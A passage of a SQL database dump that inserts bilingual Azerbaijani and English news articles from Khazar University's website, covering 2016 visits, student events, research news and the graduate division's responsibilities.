sədri\r\nprofessor Hamlet İsaxanlı ilə görüşdülər. Görüşdə Azərbaycan Respublikasının Təshil\r\nNazirliyinin dəstək etdiyi Tvinninqs lahiyəsi müzakirə olundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə\r\nuniversitetin Akademik işlər üzrə prorektoru Məhəmməd Nuriyev, İqtisadiyyat və\r\nmenecment fakültəsinin dekanı İnqilab Əhmədov, Humanitar və sosial elmlər\r\nfakültəsinin dekanı Cabir Xəlilov, İnkişaf direktoru Raziyə İsayeva da iştirak\r\netdilər.</p>'),(2654,1593,'en','Rector of Novia University of Applied Sciences (Finland) Visits Khazar  ','On November 15, 2016, a delegation led by Dr. Örjan Andersson, the rector of Novia University of Applied Sciences in Finland, visited Khazar University and met with Professor...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On November 15, 2016, a delegation led by Dr. Örjan\r\nAndersson, the rector of Novia University of Applied Sciences in Finland,\r\nvisited Khazar University and met with Professor Hamlet Isaxanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees, to\r\ndiscuss the Twinning Project supported by the Ministry of Education of the\r\nAzerbaijan Republic. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Other participants in the meeting included Professor Mahammad Nuriyev,\r\nVice President of Khazar University for Academic Affairs; Dr. Ingilab Ahmadov,\r\nDean of the School of Economics and Management; Associate Professor Jabir Khalilov,\r\nDean of the School of Humanities and Social Sciences; and Raziya Isayeva,\r\nDevelopment Director.</p>'),(2656,1594,'en','Turkish Guests at Khazar ','On November 22, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, hosted a delegation of guests from Turkey...','<p>On\r\nNovember 22, 2016, Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, hosted a delegation of\r\nguests from Turkey including Yalçın Topçu, Senior Advisor to President of the\r\nRepublic of Turkey R. T. Erdoğan and former Minister of Culture and Tourism;\r\nMetin Gündoğdu, Parliament Member for the AK Party Army of the Grand National\r\nAssembly of Turkey; and other guests. Y. Topçu presented a gift to H. Isaxanli.\r\nThen the guests met with Khazar University students in the Marble Hall. Y.\r\nTopçu gave a presentation about the political situation in Turkey and answered\r\nstudents’ questions. </p>\r\n<p>H.\r\nIsaxanli thanked the Turkish statesmen on behalf of the university\r\nadministration and student body. Then a luncheon was served in honor of the\r\nguests.&nbsp;</p>'),(6367,3618,'az','Karyera Mərkəzinin Məlumat sessiyası baş tutdu','2018-ci il oktyabrın 29-dan noyabrın 2-dək Xəzər Universitetində Karyera Mərkəzinin...','<p>2018-ci il oktyabrın 29-dan noyabrın 2-dək Xəzər Universitetində Karyera Mərkəzinin Məlumat sessiyası keçirildi. Məlumat sessiyasını Karyera Mərkəzinin meneceri Səbinə Allahverənovanın dəstəyi ilə könüllülər təqdim etdilər.</p><p>Görüşün əsas məqsədi universitetin, əsasən, 1-ci və 2-ci kurs tələbələrini Karyera Mərkəzinin fəaliyyəti və göstərdiyi xidmətlərlə yaxından tanış etmək idi.</p><p>Tələbələrin sualları cavablandırıldı və müraciətləri qeydə alındı.</p>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (3748,2186,'az','Ümumi məlumat','Ümumi məlumat','<p><strong>Yaranma tarixi</strong></p><p><strong></strong>Magistratura, Doktorantura və Elmi işlər bölməsi Rektorun T/16 nömrəli 2 aprel 2011-ci il tarixli əmrinə əsasən, kadr hazırlığı spektrini genişləndirmək, habelə tədqiqat işlərinin təkmilləşdirilməsi və idarə edilməsi məqsədilə yaradılmışdır.</p>\r\n<p><strong>Missiyası</strong></p><p>Magistratura, Doktorantura və Elmi işlər bölməsinin missiyası iki mühüm məsələni əhatə edir:</p><ul><li>Magistratura və doktorantura təhsili sahəsində işlər</li><li>Tədqiqat sahəsində işlər</li></ul><p><strong>&nbsp;</strong></p><p><strong>Magistratura və doktorantura təhsili ilə bağlı şöbənin vəzifələri&nbsp;<br></strong></p><ul><li>Magistratura, Doktorantura və Elmi İşlər bölməsi üçün web səhifənin hazırlanması</li><li>Bütün magistr və doktorant tələbələr və məzunlar üçün məlumat bazasının yaradılması</li><li>Tezis və dissertasiya yazılması haqqında təlimatlar hazırlamaq və onların saxlanılmasını təmin etmək</li><li>Magistr və Fəlsəfə doktoru proqramları barədə elanlar vermək&nbsp;və bunu müvafiq şəkildə əlaqələndirmək</li><li>Magistr və Doktorant tələbələrin tədqiqat orientasiyasına köməklik etmək</li><li>Fakültə dekanları ilə hər bir dərəcə proqramı üçün fəaliyyət göstərən komissiya və komitələri əlaqələndirmək</li><li>Fakültə dekanları ilə əməkdaşlıq edərək Magistratura, Doktorantura və Elmi İşlər bölməsinin işini təşkil etmək</li><li>Fakültə dekanları ilə birlikdə qəbul prosedurları hazırlamaq və elanlar vermək</li><li>Fakültə dekanları ilə birlikdə tezis və dissertasiya müdafiə komitələri ilə əməkdaşlıq etmək</li><li>Magistr və Doktroant tələbələr üçün məsləhət saatları təşkil etmək</li><li>Kurrikulumların hazırlanmasında fakültə dekanları ilə əməkdaşlıq etmək</li><li>Azərbaycanda magistr proqramlarının inkişaf etdirilməsinə dəstək göstərilməsi</li><li>Beynəlxalq magistr və doktorantların qəbulu</li><li>Bütün proqram və prosedurların Təhsil Nazirliyi ilə əlaqələndirilməsi</li><li>Magistratura, doktorantura təhsilinin innovasiyasında lider rolunu oynamaq, tələbələr üçün mükafatlar, mümkün maliyyə mənbələri tapmaq</li><li>Magistr, doktorant məzunların işləri ilə bağlı Universitet İnkişaf direktoru ilə əməkdaşlıq etmək</li><li>Nazirlik tərəfindən təşkil olunmuş və digər ictimai forumlarda universiteti təmsil etmək</li><li>Müvafiq milli və beynəlxalq qurumlarda iştirak etməklə universiteti təmsil etmək</li><li>Universitet rəhbərliyi, nazirlik, və s. üçün bütün lazımi hesabatların hazırlanması</li><li>Magistr və doktorantlar üçün beynəlxalq imkanların inkişaf etdirilməsi</li><li>Magistr və doktorantların məzunluq mərasimlərinin əlaqələndirilməsi</li></ul><p>&nbsp;</p><p>&nbsp;<strong>Tədqiqatla</strong><strong>&nbsp;bağlı şöbənin vəzifələri&nbsp;<br></strong></p><ul><li>Universitetin akademik heyəti arasında orijinal tədqiqat və təqaüd proqramlarının inkişaf etdirmək</li><li>Universitetin müəllim heyətinə qrantlar və digər mümkün tədqiqatlara qoşulmaqda dəstək vermək</li><li>Qazanılmış qrantların idarə olunmasında uyğun qurumlara yardım etmək</li><li>Bakalavr dərəcəsi üçün tədqiqatları dəstəkləmək və inkişaf etdirmək</li><li>Elmi konfransların təşkilində, fakültə və departamentlərlə birgə iş aparmaq</li><li>Cəmiyyətdə ehtiyac duyulan sahələrdə tədqiqatların aparılmasını (məsələn, neft sənayesi, enerji, özəl sektor, və s.) müəyyən etmək üçün dekanlarla birgə iş aparmaq</li><li>Universitetin nailiyyətləri və tədqiqat fəaliyyəti ilə bağlı elanlar hazırlamaq</li><li>Bütün müəllim və tələbələrə aid elmi nəşrlər, qrantlar və digər tədqiqat yönümlü fəaliyyətlərin qeydiyyatını aparmaq və saxlamaq</li><li>Universitet rəhbərliyi və nazirlik üçün bütün lazımi hesabatlar hazırlamaq</li><li>Tədqiqata dəstək potensialının inkişaf etdirilməsi ilə bağlı kitabxana ilə birgə iş aparmaq</li><li>Tədqiqatların uğurla həyata keçirilməsi üçün zəruri hallarda müvafiq milli və beynəlxalq qurumlarda iştirakı təmin etmək.&nbsp;</li></ul>'),(3749,2186,'en','General Information','General Information','<p><strong>HISTORY</strong>&nbsp;<br></p><p><strong></strong>On April 22, 2011, by the decree T/16 of the President of Khazar University, the Division of Graduate Studies and Research was established at Khazar University to expand the spectrum of staff preparation, as well as to improve and manage the scale of research works in order to meet the needs of increasing admission rates into graduate studies and master programs of the university.<br><strong>MISSION&nbsp;</strong><strong>Division of Graduate Studies and Research mission covers 2 major areas:</strong></p><strong><ul><li><strong>&nbsp;</strong><strong>Graduate studies</strong></li><li><strong>&nbsp;</strong><strong>Research</strong><strong>Responsibilities in the field of GRADUATE STUDIES:</strong></li></ul></strong><ul><li>Develop and maintain policy manual</li><li>Develop and update graduate bulletin</li><li>Develop web page for the School of Graduate Studies and Research</li><li>Develop and maintain functional database for all graduate programs, students and alumni</li><li>Develop and maintain thesis and dissertation guidelines</li><li>Coordinate and publicize Master’s and Ph.D. programs</li><li>Organize graduate student orientation</li><li>Coordinate graduate committees for each degree program in coordination with School deans</li><li>Establish and coordinate graduate faculty in collaboration with School deans</li><li>Prepare and advertise admissions procedures and requirements in collaboration with School deans</li><li>Coordinate thesis and dissertation defenses, committees etc., in collaboration with School deans</li><li>Advise prospective graduate students</li><li>Collaborate with School deans in preparation of curricula</li><li>Promote graduate programs throughout Azerbaijan and abroad</li><li>International graduate student recruitment</li><li>Coordinate all programs and policies with the Ministry</li><li>Play leadership role in innovations for graduate studies, eg. develop student awards, possible funding streams, graduate student lecture series, etc</li><li>Work with Director of Development on graduate alumni affairs</li><li>Represent the Graduate School to the Ministry and in public forums</li><li>Prepare all necessary reports for the university’s leadership, the ministry, etc.</li><li>Develop international opportunities for graduate students</li><li>Participate in appropriate national and international bodies</li><li>Coordinate graduate student graduation ceremony</li></ul>&nbsp;<p><strong>Responsibilities in the field of RESEARCH:</strong><strong><br></strong></p><ul><li>Promote original research and scholarship among the university’s faculty members</li><li>Support the university’s teaching staff in locating grants and other possible research funding</li><li>Assist faculty in administering grants received, compliance with reporting expectations, etc.</li><li>Support and promote undergraduate research</li><li>Work with schools, departments and faculty to organize scholarly conferences</li><li>Work with Deans to identify research needs in the community – eg. petroleum industry, energy, private sector generally, etc.</li><li>Publicize the university’s research activities and accomplishments</li><li>Develop and maintain records of all faculty and student publications, grants, and other research related achievements</li><li>Prepare all necessary reports for the university’s leadership, the ministry, etc.</li><li>Work with library to develop its capacity to support research</li><li>Participate in appropriate national and international bodies</li></ul>'),(2661,1597,'az','Xəzər Universitetində “Elm Şənliyi” keçiriləcək','2016-cı il dekabrın 23-də Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı ilə “Elm Şənliyi” keçiriləcək. Keçirilməsi nəzərdə tutulan layihə gənclərin elmi fəaliyyətinin...','<p>2016-cı il dekabrın 23-də saat 10:00-dan 17:00-a kimi Xəzər Universitetinin “Neftçilər” korpusundakı “Mərmər” zalda Azərbaycan Respublikası Prezindenti yanında Gənclər Fondunun maliyyə dəstəyi ilə “Elm şənliyi”<strong><em>&nbsp;</em></strong>adlı tədbir keçiriləcək.  <br></p><p>Keçirilməsi nəzərdə tutulan layihə gənclərin\r\nelmi fəaliyyətinin təşviqinə və eləcə də, elmin mahiyyətinə və təhsilə marağın\r\nartırılmasına yönəldilmişdir. Bu layihə çərçivəsində elmin və onunla bağlı fəaliyyətin\r\nəyləncəli və səmərəli olması, müasir gənclərin qavrayışında yorucu və\r\ndarıxdırıcı elmi qəliblərin çıxarılması hədəflənmişdir. <br>\r\n</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Layihənin mahiyyəti qısa olaraq gənclərin elmə marağının təbliği və təşviqidir.\r\nFormat olaraq bir gün çərçivəsində intellektual müsabiqə və elmin müxtəlif sahələri\r\nilə bağlı sərgi və seminarlardır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Layihənin rəsmi tərəfdaşları bu təhsil müəssisələridir:</p><ul><li>Azərbaycan\r\nRespublikası Prezidenti yanında Gənclər Fondu –maliyyə dəstəyi;</li><li>Azərbaycan\r\nMilli Elmlər Akademiyasının Arxeologiya və Etnoqrafiya İnstitutu –elmi dəstək;</li><li>Xəzər\r\nUniversiteti –təşviqat və texniki dəstək;</li><li>Azərbaycan\r\nArxeoloqlar Cəmiyyəti –elmi və texniki dəstək.</li></ul>'),(2662,1597,'en','Science Party to be held at Khazar University','On December 23, 2016, the Khazar University Career Center will hold an event called “Science Party.” The event is intended to motivate young students toward further academic activity...','<p>On December 23, 2016, an event entitled “Science Party” sponsored by the Youth Foundation of the President of the Azerbaijan Republic will be held in the Marble Hall on Khazar University’s Neftchilar Campus.  The event is intended to motivate\r\nyoung students toward further academic activity as well as to raise their\r\nawareness of science and education. This project aims to draw students’\r\ninterest toward useful scientific work which may have otherwise seemed boring\r\nor tiring to them. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The format of the project is a one-day event including an\r\nintellectual competition, an exhibition and seminars about various fields of\r\nscience. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Official partners of the project include: Youth Foundation of the President of the Azerbaijan Republic\r\n(financial support);</p><ul><li>Youth Foundation of the President of the Azerbaijan Republic\r\n(financial support);</li><li>Archeology and Ethnography Institute of the Azerbaijan\r\nNational Academy of Sciences (scientific support);</li><li>Khazar University (promotion and technical support);</li><li> Azerbaijan Society of Archeologists (scientific and\r\ntechnical support).&nbsp;</li></ul>'),(2663,1598,'az','BP-nin əməkdaşları tələbələrlə görüşdülər','2016-cı il noyabrın 23-də “British Petroleum” (BP) şirkəti ilə Xəzər Universitetinin tələbələri arasında görüş keçirildi. Neft mühəndisliyi, mexanika mühəndisliyi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 23-də “British\r\nPetroleum” (BP) şirkəti ilə Xəzər Universitetinin tələbələri arasında görüş\r\nkeçirildi. Neft mühəndisliyi, mexanika mühəndisliyi, inşaat mühəndisliyi və\r\nmaliyyə ixtisasları üzrə təhsil alan tələbələr bu görüşdə iştirak etdilər.\r\nGörüşdə Mehriban Şıxzamanova BP şirkəti haqqında ümümi məlumat və təcrübə\r\nproqramı mövzularına toxundu.&nbsp; Bundan əlavə, Xəzər Univeristetinin məzunu\r\nolan və hazırda BP şirkəti ilə çalışan Zümrüd Aslanova görüşdə öz təcrübələrini\r\nvə təəssüratlarını bölüşdü. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda isə nümayəndələr tələbələrin\r\nsuallarını cavablandırdılar.&nbsp;</p>'),(2664,1598,'en','BP Employees Meet with Students','On November 23, 2016, employees of British Petroleum (BP) met with Khazar University students majoring in Petroleum Engineering, Mechanical Engineering...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 23, 2016, employees of\r\nBritish Petroleum (BP) met with Khazar University students majoring in Petroleum\r\nEngineering, Mechanical Engineering, Civil Engineering and Finance. During the\r\nmeeting, Mehriban Shikhzamanova informed the students about BP and its\r\ninternship programs. In addition, Zumrud Aslanova, a Khazar University alumna\r\ncurrently working at BP, shared her experiences and impressions. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">At the end of the event, the\r\nrepresentatives answered students’ questions.&nbsp;<strong><em></em></strong></p>'),(2665,1599,'az','İqtisadiyyat və menecment departamentinin müdiri tələbələrlə görüşdü','2016-cı il noyabrın 21-də və 23-də Xəzər Universiteti İqtisadiyyat və Menecment departamentinin müdiri Dr. Ceyhun Məmmədov 3-cü kurs bakalavr tələbələri ilə görüş keçirdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil noyabrın 21-də və 23-də Xəzər Universiteti İqtisadiyyat və Menecment\r\ndepartamentinin müdiri Dr. Ceyhun Məmmədov 3-cü kurs bakalavr tələbələri ilə\r\ngörüş keçirdi. O, yeni tədris planı&nbsp; haqqında məlumatlandıraraq, yaz\r\nsemestrində təklif olunacaq fənlərin seçimində onlara &nbsp;mühüm məsləhətlər\r\nverdi. Bundan əlavə, tələbələrə 2017-ci ilin iyul ayında ixtisaslarına uyğun\r\nolaraq keçəcəkləri &nbsp;“təcrübə” haqqında məlumat verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüş\r\nsual-cavab sessiyası ilə yekunlaşdı.</p>'),(2667,1600,'az','“Sülh üçün” komandası Fələstin səfiri ilə görüşdü','2016-cı il noyabrın 18-də “Sülh üçün” komandası Fələstinin Azərbaycandakı səfiri cənab Nasser Abdel Kareem ilə görüşdü. Görüş Peer to Peer (P2P) layihəsinin “Ekstremizmə qarşı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 18-də “Sülh üçün” komandası Fələstinin Azərbaycandakı\r\nsəfiri cənab Nasser&nbsp;Abdel&nbsp;Kareem ilə görüşdü. Görüş <em>Peer to Peer</em>\r\n(P2P) layihəsinin “Ekstremizmə qarşı Mübarizə Proqramı” çərçivəsində təşkil\r\nolunmuşdu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">İştirakçılar səfir ilə müsahibə apararaq onun ekstremizm və onunla\r\nbağlı maarifləndirmə yolları haqqında fikirlərini öyrəndilər. Səfir\r\niştirakçıların suallarına cavab verdi və məsələ ilə bağlı öz fikirlərini\r\nbölüşdü. Daha sonra səfir iştirakçılara belə bir təşəbbüsə görə öz dərin təşəkkürünü\r\nbildirdi, onlara gələcək fəaliyyətlərində və proqramda iştiraklarında uğurlar\r\narzulardı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><em>Peer to Peer</em> (P2P) layihəsinin\r\n“Ekstremizmə qarşı Mübarizə Proqramı” ABŞ dövlət Departamenti tərəfindən dəstəklənən\r\nproqramdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Komandanın Facebook səhifəsinə bu link vasitəsilə daxil olmaq olar: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;&nbsp;<a href=\"https://www.facebook.com/challengeextremismforpeace/?fref=ts\">https://www.facebook.com/challengeextremismforpeace/?fref=ts</a>.&nbsp;</p>'),(2668,1600,'en','For Peace Team Meets with Ambassador of Palestine','On November 18, 2016, For Peace team members met with the Ambassador of Palestine to Azerbaijan, His Excellency Mr. Nasser Abdel Kareem. The meeting was organized...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 18, 2016, For Peace team\r\nmembers met with the Ambassador of&nbsp;Palestine&nbsp;to Azerbaijan,&nbsp;His\r\nExcellency Mr.&nbsp;Nasser&nbsp;Abdel&nbsp;Kareem. The meeting was organized as\r\npart of their participation in the P2P: Challenging Extremism Program.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Participants conducted an interview with\r\nthe ambassador to learn about his opinion on extremism and how we can build\r\nawareness about it. The ambassador answered the team’s questions and shared his\r\nknowledge on this matter. His Excellency Mr. Nasser Abdel Kareem thanked the\r\nteam for their initiative and wished them good luck in their future activities\r\nand participation in the program.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The For Peace team is participating in\r\nthe P2P: Challenging Extremism Program, a global university youth initiative\r\nand an international competition supported by the U.S. Department of State.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">More information is available on the\r\nteam’s Facebook page:&nbsp;<a href=\"https://www.facebook.com/challengeextremismforpeace/?fref=ts\">https://www.facebook.com/challengeextremismforpeace/?fref=ts</a>&nbsp;&nbsp;</p>'),(2773,1655,'az','Xəzər Universitetində Müasir Akademik Musiqiyə həsr olunmuş konfrans keçirildi','Dekabrın 3-də Xəzər Universitetinin Mərmər salonunda (“Neftçilər” kampusun) “Türk ölkələrində müasir akademik musiqi: inkişafı və perspektivləri” mövzusunda beynəlxalq konfrans...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Dekabrın 3-də Xəzər Universitetinin Mərmər salonunda\r\n(“Neftçilər” kampusun) “Türk ölkələrində müasir akademik musiqi: inkişafı və\r\nperspektivləri” mövzusunda beynəlxalq konfrans keçirildi. Azərbaycan,\r\nQazaxıstan, Qırğızıstan, Özbəkistan, Türkmənistan respublikalarının bəstəkar və\r\nmusiqişünaslarının iştirakı ilə keçirilən tədbir TÜRKSOY, Xəzər Universiteti və\r\nAzərbaycan Müəlliflər Birliyi tərəfindən təşkil olunmuşdu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Tədbirdə TÜRKSOY, Xəzər Universiteti və Azərbaycan Müəlliflər\r\nBirliyinin rəhbərliyi və əməkdaşları, media mənsubları iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;Konfransın\r\nbaşlanğıcında Xəzər Universitetinin&nbsp; təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı qonaqları\r\nsalamlayaraq, konfransın mövzusu ilə əlaqədar qısa çıxış etdi. O, həmçinin\r\nbildirdi ki,&nbsp; universitetin Elmi Şurası\r\ntürk xalqlarının mədəniyyətinin inkişafında töhfələrinə görə TÜRKSOY-un Baş\r\nkatibi, professor Düsen Kaseinova Xəzər Universitetinin Fəxri doktoru adının\r\nverilməsi haqqında qərar qəbul etmişdir və sözü rektor Hassan Niknafsa verdi.\r\nH. Niknafs D. Kaseinov haqqında&nbsp;&nbsp;&nbsp; qısa məlumat\r\nverəndən sonra fəxri doktor diplomunu ona təqdim etdi. D. Kaseinov bu şərəfə\r\nlayiq görüldüyü üçün Xəzər Universitetinin rəhbərliyinə təşəkkürünü bildirdi və&nbsp; çıxış etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sonra Azərbaycan Müəlliflər Birliyinin sədri İsmayıl Məmmədkərimovun\r\nmoderatorluğu ilə konfrans öz işinə başladı. Azərbaycan Bəstəkarlar İttifaqının\r\nkatibi, musiqişünas, professor Zemfira Qafarova, Azərbaycan Milli\r\nKonservatoriyasının prorektoru, musiqişünas, professor Lalə Hüseynova,\r\nQazaxıstan Bəstəkarlar İttifaqının katibi Balnur Kıdırbek və qazaxıstanlı bəstəkar\r\nHəbibulla Setekovun məruzələri dinlənildi. Məruzələr ətrafında\r\nmüzakirələr aparılmaqla konfrans işini bitirdi.</p>'),(2669,1601,'az','Universitet əməkdaşlarının tədqiqat işi Türkiyədə beynəlxalq konfransa qəbul edildi','Humanitar və sosial elmlər fakültəsinin dekan müavini Mələk Kərimova və həmin fakültənin dekan köməkçisi Validə Kərimovanın tədqiqat işi 2016-cı il noyabrın 24-ü və 25-də...','<p>Humanitar və sosial elmlər fakültəsinin dekan müavini Mələk Kərimova və həmin fakültənin dekan köməkçisi Validə Kərimovanın tədqiqat işi 2016-cı il noyabrın 24-ü və 25-də Türkiyədə (Sakarya) keçirilmiş&nbsp;beynəlxalq konfransa (ICQH 2016) qəbul edilmişdir.</p><p>Mələk Kərimova “Azerbaycan öğretmenlerinin gözüyle: sınıf içi olumsuz davranışlar”, Validə Kərimova isə “Azərbaycanın təhsil sistemində xarici dil imkanı: özəl ali təhsil müəssisələrində tələbələr arasında ən yaxşı xarici dilin təhlili” (“Possibility of foreign languages in the education system of Azerbaijan: Analysis of the best foreign language among students’ in higher private educational institutions”) adlı tədqiqat işi ilə çıxış edəcəklər. Dekabrın 30-na kimi tədqiqat işləri “The Online Journal of Quality in Higher Education” jurnalında çap ediləcəkdir (TOJQIH).</p>'),(2670,1601,'en','University Faculty Members’ Articles Accepted to International Conference in Turkey','Articles by Melek Karimova, Assistant Dean of the School of Humanities and Social Sciences, and Valida Karimova, Assistant to the Dean of the School of Humanities and Social...','<p>Articles by Melek Karimova, Assistant\r\nDean of the School of Humanities and Social Sciences, and Valida Karimova,\r\nAssistant to the Dean of the School of Humanities and Social Sciences, were\r\naccepted to an international conference (ICQH) which was held in Sakarya,\r\nTurkey on November 24-25, 2016. Participants in the conference included\r\nresearchers from America, Germany, Malaysia and other countries.</p>\r\n<p>Melek Karimova presented her article on\r\n“Misbehavior in the classroom: Perspectives of Azerbaijani teachers,” and\r\nValida Karimova presented her article on “Possibility of foreign languages in\r\nthe education system of Azerbaijan: Analysis of the best foreign language among\r\nstudents in higher private educational institutions,” at the conference\r\nremotely via video presentations.&nbsp;</p>'),(2673,1603,'en','ERASMUS + 2nd Meeting ','On November 25, the Khazar University ERASMUS + project writing team held a meeting to discuss new project ideas and other opportunities within the ERASMUS+ Program...','<p>On November 25, the Khazar University ERASMUS + project\r\nwriting team held a meeting to discuss new project ideas and other\r\nopportunities within the ERASMUS+ Program. Six new project ideas were discussed\r\nand tasks were divided among team members. It was also decided that team\r\nmembers will accelerate the speed of project proposal development as well as\r\ncommunication with partners and report back to the Development Office on their\r\nprogress. &nbsp;</p>'),(2674,1604,'az','Xəzər Universitetinin doktorantı elmi işini müdafiə etdi','Noyabrın 25-də AMEA Fəlsəfə İnstitutunun nəzdindəki Dissertasiya Şurasında Xəzər Universitetinin doktorantı Xəyalə Məmmədovanın “Azərbaycan cəmiyyətinin sosial-mədəni...','<p>Noyabrın 25-də AMEA Fəlsəfə İnstitutunun nəzdindəki\r\nDissertasiya Şurasında Xəzər Universitetinin doktorantı Xəyalə Məmmədovanın “Azərbaycan\r\ncəmiyyətinin sosial-mədəni inkişafının gender aspektləri” mövzusundakı\r\ndissertasiya işinin fəlsəfə üzrə fəlsəfə doktoru elmi dərəcəsi almaq üçün\r\nmüdafiəsi keçirildi.</p>\r\n<p>AMEA Fəlsəfə İnstitutunun direktoru professor İlham Məmmədzadənin\r\nrəhbərliyi ilə keçirilən iclasda X. Məmmədovanın təqdimatından sonra şura üzvlərinin\r\nsualları cavablandırıldı.</p>\r\n<p>Dissertasiya şurası aparıcı təşkilatın, rəsmi opponentlərin,\r\nayrı-ayrı alimlərin dissertasiya və onun avtoreferatı haqqında rəylərini, elmi\r\niş üzrə yerli və xarici elmi jurnallarda çap olunmuş məqalələri, dissertasiya\r\nişinin Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya\r\nKomissiyasının&nbsp; tələblərinə cavab verdiyini nəzərə alaraq, iddiaçının fəlsəfə\r\ndoktoru elmi dərəcəsi almağa layiq olması haqqında qərar qəbul etdi.</p>'),(2751,1643,'en','Training Course for Potential School Directors Continues','We present to you pictures from today\'s training from the Course for Potential School Directors...','<p>We present to you pictures from today\'s training from the Course for Potential School Directors.</p>'),(2675,1605,'az','“Xəzər”in əməkdaşının məqaləsi “Elsevier”-də','Xəzər Universiteti Təhsil fakültəsinin Bioloji elmlər departamentinin müdiri və Hüceyrə Patologiyası Tədqiqat Mərkəzinin direktoru Dr. İradə Xəlilovanın Avropanın Kistik Fibroz...','<p>Xəzər Universiteti Təhsil fakültəsinin Bioloji elmlər\r\ndepartamentinin müdiri və Hüceyrə Patologiyası Tədqiqat Mərkəzinin direktoru\r\nDr. İradə Xəlilovanın Avropanın Kistik Fibroz Jurnalında –Elsevier (<em>Elsevier –European Journal of Cystic\r\nFibrosis, İmpact Factor –3.853</em>) elmi məqaləsi yayınlanmışdır. Məqalə haqda\r\nbu linkdə tanış olmaq olar: </p>\r\n<p><a href=\"http://www.cysticfibrosisjournal.com/article/S1569-1993(16)30647-6/abstract\">http://www.cysticfibrosisjournal.com/article/S1569-1993(16)30647-6/abstract</a>.</p>'),(2676,1606,'az','“Xəzər”in əməkdaşı Montpellier Universitetində tədqiqat aparır','2016-cı il noyabrın 21-dən Xəzər Universiteti Təhsil fakültəsinin Bioloji elmlər departamentinin müdiri və Hüceyrə Patologiyası Tədqiqat Mərkəzinin direktoru Dr. İradə Xəlilova...','<p>2016-cı il\r\nnoyabrın 21-dən Xəzər Universiteti Təhsil fakültəsinin\r\nBioloji elmlər departamentinin müdiri və Hüceyrə Patologiyası Tədqiqat Mərkəzinin\r\ndirektoru Dr. İradə Xəlilova Erasmus+ mobillik qrantı üzrə Fransanın\r\nMontpellier Universitetində Odontolgiya fakültəsinin Biologiya, səhiyyə və nanotexnologiya\r\ntədqiqat laboratoriyasında <em>(Faculty of\r\nOdontology, Research Laboratory of Biology, Health and Nanoscience</em>)\r\nmezenxim kök hüceyrələrinin osteoblastlara çevrilməsi və diş toxumasının\r\nregenerasiyasında biomaterial ilə birgə istifadə edilməsi haqda tədqiqat işi\r\naparır. O, həmçinin, həmin fakültənin tələbələri ilə təcrübə dərslərində\r\niştirak edir. Noyabrın 29-da Dr. Xəlilova laboratoriyanın əməkdaşları və tədqiqatçılara\r\n“Xəstəliyin erkən diaqnostikası üçün oksidativ stress biomarker tədqiqatı” (“<em>Oxidative stress biomarker research for\r\nearly disease diagnostics</em>”) mövzusunda seminar verəcək.</p>'),(2677,1607,'az','Xəzər Universiteti Tarix və arxeologiya departamentində elmi görüş','2016-cı il noyabrın 25-də 